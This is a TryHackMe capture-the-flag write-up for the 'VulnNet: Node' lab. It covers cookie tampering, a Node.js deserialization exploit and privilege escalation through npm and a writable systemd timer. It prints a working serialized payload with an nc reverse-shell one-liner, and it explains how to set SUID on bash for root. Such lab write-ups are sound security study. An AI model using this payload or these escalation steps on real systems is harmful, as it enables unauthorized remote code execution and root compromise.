VulnNet: Node – TryHackMe writeup

Description

Difficulty: Easy
https://tryhackme.com/room/vulnnetnode

After the previous breach, VulnNet Entertainment states it won’t happen again. Can you prove they’re wrong?

VulnNet Entertainment has moved its infrastructure and now they’re confident that no breach will happen again. You’re tasked to prove otherwise and penetrate their network.

Web Language: JavaScript
This is again an attempt to recreate some more realistic scenario but with techniques packed into a single machine. Good luck!

Port scanning

As this task resembles a realistic assessment scenario, I began with a low-noise port scan to identify exposed services while minimizing the risk of triggering a WAF.

I used a full TCP connect scan (-sT) with slow timing (-T2) and limited it to the 100 most common ports, which is a reasonable balance between coverage and stealth in environments where SYN scans may be filtered.

nmap -sT -T2 --top-ports 100 --open 10.81.164.137

This reveals two externally reachable services: SSH and an HTTP proxy on port 8080.

Main Website Enumeration

Accessing the website, I observed that the main page contains a blog, a login button, and a “Welcome guest” message displayed in the sidebar.

This suggests the presence of authentication logic and user roles, which may be enforced client‑side or via session handling.

User Enumeration

From the blog posts, it is possible to enumerate several usernames based on post authorship:
Tilo Mitra
Eric Ferraiuolo
Reid Burke
Andrew Wooldridge

User enumeration via content authorship is a common reconnaissance technique that may later be useful for brute-force attempts, session manipulation, or privilege escalation logic tied to usernames.

Cookie Analysis

While intercepting a GET request to the main page using Burp Suite, I noticed that the application sets a cookie.

After decoding the cookie from Base64, it appeared to contain structured data rather than a random session identifier.

This suggests that the application may be using client‑side session storage, which is often vulnerable if not properly signed or encrypted.

Cookie Manipulation

I attempted to modify the decoded cookie content, changing the user to admin and isGuest to false, then re‑encoding it in Base64 and sending it back to the server.

After replaying the modified request in Burp Repeater, the response changed to “Welcome admin”

This confirms missing integrity protection on the session cookie.
However, despite the role escalation, no admin panel, dashboard, or privileged endpoint was directly exposed.

Directory Enumeration

To locate hidden functionality or admin endpoints, I performed directory brute‑forcing using feroxbuster.

feroxbuster -u http://10.81.164.137:8080 \ 
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-r -k

No interesting directories were discovered, suggesting that privileged functionality may not be exposed via obvious routes.

Service Identification (Port 8080)

nmap -p 8080 -sT -T2 --script=banner 10.81.164.137

This confirms that port 8080 is acting as an HTTP proxy rather than a standard web server, which can sometimes obscure backend services.

Node.js Deserialization Vulnerability

I returned to the cookie manipulation. I tested how the application behaves when receiving a malformed session cookie (I’ve sent an incomplete cookie value). This caused the application to return a verbose error message.

The error disclosed that the backend is running Node.js and that the failure occurred during object deserialization. I started searching for Node.js deserialization vulnerability.

Exploitation

I generated a malicious serialized payload capable of executing arbitrary code during deserialization (reverse shell).

Reference:
https://exploit-notes.hdks.org/exploit/web/nodejs-deserialization-attack/

# I started listener on my kali:
nc -nlvp 1234

# my payload before encoding it using base64
{"rce":"_$$ND_FUNC$$_function() {require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <local-ip> <local-port> >/tmp/f', (error, stdout, stderr) => { console.log(stdout); }); } ()"}

After sending the request, a reverse shell was received.

Post‑Exploitation Enumeration

After gaining a shell, I transferred linpeas.sh to the target using a simple Python HTTP server on my Kali machine. 

Privilege Escalation to User

During enumeration, I identified a potential privilege escalation vector involving npm, which is documented on GTFOBins

Using this technique, I escalated privileges (to serve-manage user) and obtained the user.txt flag.

Privilege Escalation to Root (systemd timers)

After switching to the serv-manage user, I checked sudo permissions:

sudo -l

The output showed that the user can start, stop, and reload a systemd timer without a password.

Additionally, the timer and its associated service files were writable by this user.

Editing vulnnet-auto.timer and vulnnet-job.service

The timer was originally configured to run every 30 minutes.

I modified:
– the service file to set the SUID bit on /bin/bash,
– the timer to trigger execution more frequently.

ExecStart will be executed as root. 
chmod +s will set SUID bit to /bin/bash

After reloading systemd and restarting the timer, /bin/bash had the SUID bit set.

When Bash is executed as a SUID binary, it performs an internal security check.
If Bash detects that it is running with elevated privileges (e.g. SUID root), it drops those privileges by default in order to prevent unintended privilege escalation.

This behavior is a built‑in security feature designed to mitigate the risk of abuse when Bash is executed in a privileged context.

The -p (preserve privileges) option explicitly instructs Bash not to drop the effective UID and GID.
As a result, Bash retains the privileges of the file owner (root in this case), allowing the shell to run with full root permissions

Executing:

/bin/bash -p

granted a root shell, allowing me to retrieve the final flag.